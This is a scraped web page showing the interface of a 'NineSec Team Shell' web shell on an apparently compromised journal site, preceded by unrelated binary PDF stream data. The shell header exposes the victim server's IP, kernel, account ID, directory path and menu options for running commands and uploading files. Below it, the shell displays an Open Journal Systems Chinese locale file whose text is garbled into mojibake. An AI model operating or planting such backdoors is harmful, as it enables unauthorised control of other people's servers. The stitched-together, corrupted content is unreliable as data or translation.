%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàÑ77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛÕŸ‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 2a02:4780:6:1422:0:e17:6acc:2  /  Your IP : 216.73.217.64
Web Server : LiteSpeed
System : Linux id-dci-web1322.main-hosting.eu 4.18.0-553.109.1.lve.el8.x86_64 #1 SMP Thu Mar 5 20:23:46 UTC 2026 x86_64
User : u236415692 ( 236415692)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u236415692/domains/perpustakaan-undana.com/public_html/ejurnal/locale/zh_CN/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u236415692/domains/perpustakaan-undana.com/public_html/ejurnal/locale/zh_CN/submission.po
msgid ""
msgstr ""
"PO-Revision-Date: 2020-12-29 11:53+0000\n"
"Last-Translator: Yukari Chiba <Charles@nia.ac.cn>\n"
"Language-Team: Chinese (Simplified) <http://translate.pkp.sfu.ca/projects/"
"ojs/submission/zh_CN/>\n"
"Language: zh_CN\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "submission.submit.title"
msgstr "æ交稿件"

msgid "submission.title.tip"
msgstr ""
"稿件类型通常会是“图åƒâ€ã€â€œæ–‡æœ¬â€æˆ–者其他诸如“软件â€æˆ–者“交互å¼è§†é¢‘â€ç­‰ã€‚请选择跟您的稿件最贴近的类型。更多类型å¯å‚考<a target=\""
"_blank\" href=\"http://dublincore.org/documents/2001/04/12/usageguide/"
"generic.shtml#type\">http://dublincore.org/documents/2001/04/12/usageguide/"
"generic.shtml#type</a>"

msgid "submission.event.publicIdentifiers"
msgstr "稿件的公开标识符已更新。"

msgid "grid.action.issueEntry"
msgstr "查看稿件元数æ®"

msgid "submission.submit.whatNext.description"
msgstr "该期刊已收到您æ交的稿件通知，并且已通过电å­é‚®ä»¶å‘é€ç¡®è®¤ã€‚ 编辑审核完æ交的内容åŽï¼Œä»–们将与您è”系。"

msgid "submission.issueEntry"
msgstr "元数æ®"

msgid "submission.submit.noContext"
msgstr "找ä¸åˆ°æ­¤æŠ•ç¨¿çš„期刊。"

msgid "submission.abstract.wordCount.description"
msgstr "摘è¦ä¸å¾—超过 {$wordCount} 个字。"

msgid "grid.action.workflow"
msgstr "稿件工作æµ"

msgid "submission.submit.newSubmissionSingle"
msgstr "新稿件"

msgid "submission.submit.newSubmissionMultiple"
msgstr "开始一次新的æ交"

msgid "submission.title"
msgstr "文章标题"

msgid "submission.upload.selectComponent"
msgstr "选择文章组件"

msgid "submission.submit.userGroup"
msgstr "以下列角色æ交..."

msgid "publication.selectIssue"
msgstr "选择一个期次安排出版"

msgid "publication.assignToissue"
msgstr "分é…给期次"

msgid "publication.unscheduledIn"
msgstr "尚未计划将其å‘布在æŸä¸€æœŸä¸­ã€‚"

msgid "publication.scheduledIn"
msgstr "出版物已安排于第 <a href=\"{$issueUrl}\">{$issueName}</a> 期次。"

msgid "publication.publishedIn"
msgstr "å‘布在 <a href=\"{$issueUrl}\">{$issueName}</a>。"

msgid "publication.required.issue"
msgstr "在å‘布之å‰ï¼Œå¿…须先将该文章分é…一个期次。"

msgid "publication.publish.confirmation.datePublishedInPast"
msgstr "已满足所有å‘布è¦æ±‚。由于å‘布日期已设置为{$ datePublished}。您确定è¦å‘布å—？"

msgid "publication.publish.confirmation.backIssue"
msgstr "已满足所有å‘布è¦æ±‚。这将å‘布在{$ issue}中。您确定è¦å‘布å—？"

msgid "publication.publish.confirmation.futureIssue"
msgstr "已满足所有å‘布è¦æ±‚。这将在{$ issue}å‘布时å‘布。您确定è¦å®‰æŽ’å‘布å—？"

msgid "publication.publish.confirmation"
msgstr "已满足所有å‘布è¦æ±‚。您确定è¦å‘布å—？"

msgid "publication.issue.success"
msgstr "出版物的期次细节已更新。"

msgid "publication.invalidIssue"
msgstr "未å‘现出版物的期次。"

msgid "publication.invalidSection"
msgstr "未å‘现出版物的æ ç›®ã€‚"

msgid "publication.datePublished.description"
msgstr "出版日期会在期刊å‘行时自动设定。除éžæ–‡ç« ä»¥å‰å‘表过或者在åšå›žæº¯æ•°æ®ï¼Œå¦åˆ™ä¸è¦äººä¸ºè®¾å®šã€‚"

msgid "galley.publicationNotFound"
msgstr "未å‘现此校样的正æ°å‡ºç‰ˆç‰©ã€‚"

msgid "galley.editPublishedDisabled"
msgstr "此出版物已出版，所以校样已ç»ä¸èƒ½ç¼–辑。"

msgid "catalog.category.heading"
msgstr "所有项"

msgid "catalog.browseTitles"
msgstr "{$numTitles} 项"

msgid "submission.sectionOptions"
msgstr "æ ç›®é€‰é¡¹"

msgid "section.any"
msgstr "ä»»æ„æ ç›®"

msgid "submission.metadataDescription"
msgstr "这些规范基于都æŸæž—核心元数æ®é›†ï¼ˆä¸€ç§ç”¨äºŽæ述期刊内容的国际标准）。"

msgid "submission.citationFormat.notFound"
msgstr "请求的引用格å¼æ— æ³•è¿›è¡Œæ£€ç´¢ã€‚"

msgid "submission.submit.form.contributorRoleRequired"
msgstr "选择åˆä½œè€…的角色。"

msgid "submission.submit.form.wordCountAlert"
msgstr "您的摘è¦å¤ªé•¿äº†ã€‚请按照è¦æ±‚作必è¦åˆ å‡ã€‚"

msgid "submission.submit.form.abstractRequired"
msgstr "请填写文章摘è¦ã€‚"

msgid "submission.submit.form.titleRequired"
msgstr "请填写文章题目。"

msgid "submission.submit.form.authorRequiredFields"
msgstr "作者的åå­—ã€å§“æ°ã€ç”µå­é‚®ä»¶åœ°å€å¿…填。"

msgid "submission.submit.form.authorRequired"
msgstr "至少è¦æœ‰ä¸€ä½ä½œè€…。"

msgid "submission.submit.contributorRole"
msgstr "åˆä½œè€…"

msgid "submission.submit.privacyStatement"
msgstr "éšç§å£°æ˜Ž"

msgid "submission.submit.submissionChecklistDescription"
msgstr "你在继续æ“作å‰å·²ç»é˜…读并且ç†è§£äº†ä¸‹é¢çš„è¦æ±‚。"

msgid "submission.submit.submissionChecklist"
msgstr "稿件清å•"

msgid "submission.submit.form.localeRequired"
msgstr "选择稿件语言。"

msgid "submission.incomplete"
msgstr "等待批å¤ä¸­"

msgid "submission.complete"
msgstr "已批准"

msgid "submission.upload.fileContents"
msgstr "文章组æˆ"

msgid "submission.event.issueMetadataUpdated"
msgstr "稿件的期刊元数æ®å·²æ›´æ–°ã€‚"

msgid "editor.submission.decision.sendExternalReview"
msgstr "é€å®¡"

msgid "workflow.review.externalReview"
msgstr "审核"

msgid "submission.confirmSubmit"
msgstr "确认è¦æ交此文章å—？"

msgid "submission.pageProofs"
msgstr "校对"

msgid "submission.submit.upload.description"
msgstr "上传跟稿件相关的文件，包括文章原文ã€å¤šåª’体ã€æ•°æ®é›†ã€è‰ºæœ¯æ’图等等。"

msgid "submission.submit.titleAndSummary"
msgstr "标题和摘è¦"

msgid "grid.action.pageProofApproved"
msgstr "此校样文件已批准。"

msgid "grid.action.approveProof"
msgstr "批准此用于校样的文件。"

msgid "submission.proofReadingDescription"
msgstr ""
"美工编辑上传了准备å‘布时用的校样文件。请通过<em>分é…任务</em>æ醒作者和其他人对校样进行最åŽå®¡æ ¸æ ¡å¯¹ï¼Œå¦‚有修改，清在å‘布之å‰ä¸Šä¼ æ›´æ­£çš„文件。"

msgid "submission.galleyFiles"
msgstr "校样文件"

msgid "grid.action.availableArticleGalley"
msgstr "å¯ç”¨æ­¤æ ¡æ ·"

msgid "grid.issueEntry.availableGalley.message"
msgstr "<p>此校样读者 <em>å¯ç”¨</em>。</p>"

msgid "grid.issueEntry.availableGalley.removeMessage"
msgstr "<p>此校样对读者 <em>ä¸å¯ç”¨e</em>。</p>"

msgid "grid.issueEntry.availableGalley.title"
msgstr "æ ¼å¼åˆæ ¼"

msgid "submission.event.articleGalleyMadeUnavailable"
msgstr "稿件文章 \"{$galleyFormatName}\" 校样未生æˆã€‚"

msgid "submission.event.articleGalleyMadeAvailable"
msgstr "稿件文章 \"{$galleyFormatName}\" 校样生æˆã€‚"

msgid "grid.action.galleyInIssueEntry"
msgstr "当期文章校样"

msgid "submission.submit.userGroupDescription"
msgstr "选择æ交稿件的身份。"

msgid "submission.copyrightHolder.description"
msgstr "版æƒå°†åœ¨å‘布åŽè‡ªåŠ¨åˆ†é…ç»™{$copyright}。"

msgid "submission.license.description"
msgstr ""
"许å¯è¯åœ¨å‘布åŽå°†è¢«è‡ªåŠ¨è®¾ç½®ä¸º <a href='{$licenseUrl}' target='_blank'>{$licenseName}</a>。"

msgid "publication.required.reviewStage"
msgstr "æ交必须处于审稿或生产阶段æ‰èƒ½å‘布。"

msgid "publication.required.declined"
msgstr "被拒ç»çš„æ交无法被å‘布。"

msgid "publication.publish.requirements"
msgstr "在å‘布之å‰ï¼Œå¿…须满足以下è¦æ±‚。"

msgid "publication.publish"
msgstr "å‘布"

msgid "publication.invalidSubmission"
msgstr "找ä¸åˆ°æ­¤å‡ºç‰ˆçš„æ交。"

msgid "publication.event.versionUnpublished"
msgstr "版本已从å‘布中删除。"

msgid "publication.event.versionScheduled"
msgstr "新的版本已被计划å‘布。"

msgid "publication.event.versionPublished"
msgstr "新的版本被å‘布。"

msgid "publication.event.unpublished"
msgstr "æ交尚未被å‘布。"

msgid "publication.event.scheduled"
msgstr "æ交已被计划å‘布。"

msgid "publication.event.published"
msgstr "该æ交已å‘布。"

msgid "publication.editDisabled"
msgstr "此版本已å‘布，无法编辑。"

msgid "publication.datePublished"
msgstr "å‘布日期"

msgid "publication.copyrightYearBasis.submissionDescription"
msgstr "版æƒå¹´ä»½å°†æ ¹æ®å‘布日期自动设置。"

msgid "publication.copyrightYearBasis.issueDescription"
msgstr "在æŸä¸ªåˆŠæœŸå‘布åŽï¼Œå®ƒçš„版æƒå¹´ä»½å°†è¢«è‡ªåŠ¨è®¾ç½®ã€‚"

msgid "submission.publications"
msgstr "出版物"

msgid "publication.status.unscheduled"
msgstr "未计划"

msgid "submission.status.scheduled"
msgstr "已计划"

msgid "publication.status.published"
msgstr "已出版"

msgid "submission.publication"
msgstr "å‘布"

msgid "publication.inactiveSection"
msgstr "{$section}(ä¸æ´»è·ƒ)"

msgid "submission.viewingPreview"
msgstr "这仅是预览，并没有被å‘布。<a href=\"{$url}\">查看æ交</a>"

NineSec Team - 2022